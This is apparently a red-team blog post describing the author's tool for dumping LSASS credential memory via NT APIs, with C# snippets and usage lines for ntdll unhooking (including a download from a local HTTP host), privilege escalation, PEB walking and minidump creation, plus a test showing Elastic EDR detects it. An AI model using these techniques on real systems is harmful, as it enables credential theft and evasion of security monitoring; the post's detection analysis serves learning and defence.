CRTP review - My introductory cert to Active Directory
My review on my CRTP, great course overall for grasping introductory concepts to Active Directory & Powershell
MemoryGlass is a tool that I built in an attempt to show my hate for people dropping mimikatz onto disk. The core idea of the tool is to dump LSASS by using NTAPIs. I believe there exist better alternatives like nanodump BOFs for dumping credentials but this was more of me doing things to learn a thing or two about credential dumping. To add, there exist a timeline where you dont have to touch LSASS at all to dump creds, like working with Kerberos tickets to get privileged access but thats another topic in itself!
MemoryGlass also provides four different ways to get a “clean” copy of ntdll.dll to replace the hooked version in memory.

RtlGetVersion to obtain system informationSeDebugPrivlege, we use NtOpenProcessToken and NtAdjustPrivilegeTokenNtOpenProcessNtQueryVirtualMemory and NtReadVirtualMemory to loop through all memory region.To preface this, all the four methods follow sorta the same pattern is mentioned below:
.text sectionVirtualProtect
Here’s how it looks like in the codez:
// 1. Get local ntdll information
IntPtr localNtdllHandle = GetLocalNtdllHandle();
int[] textSectionInfo = GetTextSectionInfo(localNtdllHandle);
// 2. Make memory writable
VirtualProtect(localNtdllTxt, size, PAGE_EXECUTE_WRITECOPY, out oldProtect);
// 3. Copy clean code over hooked code
Buffer.MemoryCopy(unhookedNtdllTxt, localNtdllTxt, size, size);
// 4. Restore original memory protection
VirtualProtect(localNtdllTxt, size, oldProtect, out _);
MemoryGlass.exe dump.dmp disk
MemoryGlass.exe dump.dmp disk C:\Windows\System32\ntdll.dll
How it works:
This is the most straightforward approach. The tool simply opens the ntdll.dll file from your hard drive (usually at C:\Windows\System32\ntdll.dll), maps it into memory, and copies the .text section over the hooked version.
CreateFileACreateFileMappingAMapViewOfFile.text section over the hooked oneMemoryGlass.exe dump.dmp knowndlls
How it works:
Windows maintains a cache of commonly-used DLLs in a special kernel object directory called \KnownDlls. This is a performance optimization—instead of loading the same DLL from disk multiple times, Windows can map the same cached copy into different processes.
\KnownDlls\ntdll.dll using NtOpenSectionNtMapViewOfSection.text sectionMemoryGlass.exe dump.dmp debugproc
MemoryGlass.exe dump.dmp debugproc C:\Windows\System32\notepad.exe
How it works:
This is where things get creative. Instead of getting ntdll from disk or cache, we spawn a brand new process (like calc.exe or notepad.exe) in debug mode. Since this process is fresh, its ntdll hasn’t been hooked yet.
CreateProcessA with the DEBUG_PROCESS flagReadProcessMemory to copy the clean .text section outMemoryGlass.exe dump.dmp download http://192.168.1.100/ntdll.dll
How it works:
This method downloads ntdll.dll from a remote server over HTTP/HTTPS. The idea is you could host your own known-good copy.
WebClient to download the DLL.text section
Once we’ve (optionally) unhooked ntdll, here’s what MemoryGlass does to dump LSASS:
// Enable SeDebugPrivilege to access LSASS
NativeMethods.NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges,
(uint)Marshal.SizeOf(typeof(NativeMethods.TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero);
You need SeDebugPrivilege to open handles to protected processes like LSASS. This requires administrator rights.
// Open LSASS process
NativeMethods.NtOpenProcess(ref processHandle,
NativeMethods.PROCESS_QUERY_INFORMATION | NativeMethods.PROCESS_VM_READ,
ref objectAttributes, ref clientId);
This is where the EDR’s kernel callback fires: “Someone just opened LSASS!”
// Get PEB address from LSASS process
IntPtr pebAddress = GetProcessPebAddress(processHandle);
// Walk PEB loader data structures to find lsasrv.dll module information
ModuleInformation lsasrvModule = GetLsasrvModuleFromPeb(processHandle, pebAddress);
We manually walk the LSASS process’s PEB (Process Environment Block) and its associated loader data structures to locate lsasrv.dll - the module that handles credential processing.
In short it looks something like:
GetLsasrvModuleFromPeb() method does:
1. Reads the PEB structure from LSASS memory
2. Extracts the LDR pointer (Loader Data) from PEB
3. Reads the LDR_DATA structure
4. Walks the InLoadOrderModuleList (circular linked list)
5. Searches each LDR_DATA_TABLE_ENTRY for "lsasrv.dll"
So it's not just "parsing PEB" - it's walking the entire module loader data structures linked from the PEB.
// Walk through all memory regions
while ((long)currentAddress < MAX_PROCESS_ADDRESS)
{
NativeMethods.NtQueryVirtualMemory(processHandle, currentAddress,
NativeMethods.MemoryBasicInformation, out mbi, 0x30, out _);
if (mbi.Protect != NativeMethods.PAGE_NOACCESS && mbi.State == NativeMethods.MEM_COMMIT)
{
// This is committed, readable memory
memory64InfoList.Add(new NativeMethods.Memory64Info { Address = mbi.BaseAddress, Size = mbi.RegionSize });
}
}
We walk through LSASS’s entire virtual address space, finding regions that are committed (actually allocated) and readable.
// Read each memory region
NativeMethods.NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer,
(int)mbi.RegionSize, out _);
// Create a valid Windows minidump file
MinidumpWriter.CreateMinidump(moduleInformationList, memory64InfoList,
memoryRegionsData, outputPath);
We assemble all the data into a valid Windows minidump file format that tools like Mimikatz can parse.

Lets see what actually happens when we run this with elastic running. Im using TuoniC2 cause it was the only C2 infra I apparently didnt turn off and since the project is implemented in c# (lol) we can utilze its .NET framework and execute it with inline-assembly. This was tested on Windows 2022 server (21H2 OS Build 20348.3932) and Windows 11 (23H2 OS Build 22631.6345)

Based off the console output from the execute-assembly command, we’re able to see something happen (voodoo magik) and the .dmp file is created in the directory mentioned C:\Windows\Temp. But how does it look like from an elastic perspective? Let’s hop onto our elastic interface and have a look at the alerts.

so yeah… you might ask why it never will bypass EDR. It still touches LSASS, as you might remember during the start of this topic, it was mentioned that theres better tradecrafts to obtaining privilege handles across using Kerberos thingymahbob. No matter how clean your ntdll is, the project still opens a handle to LSASS which is a big NO NO, not just that but we are also dumping the file to disk lol. (maybe dump it remotely?)
Since these actions happen in the kernel, and modern EDRs dont rely on userland hooks solely, EDRs mostly always have multiple detection layers, for example registering kernel callbacks for critical operations:
ObRegisterCallbacks - monitors process handle creationPsSetCreateProcessNotifyRoutine - monitors process creationPsSetLoadImageNotifyRoutine - monitors DLL loadsWhen your “unhooked” program calls NtOpenProcess to open LSASS, the system call goes into the kernel. The EDR’s kernel driver receives a callback: “Hey, process XYZ just opened a handle to LSASS with PROCESS_VM_READ access.” and that’s game over:
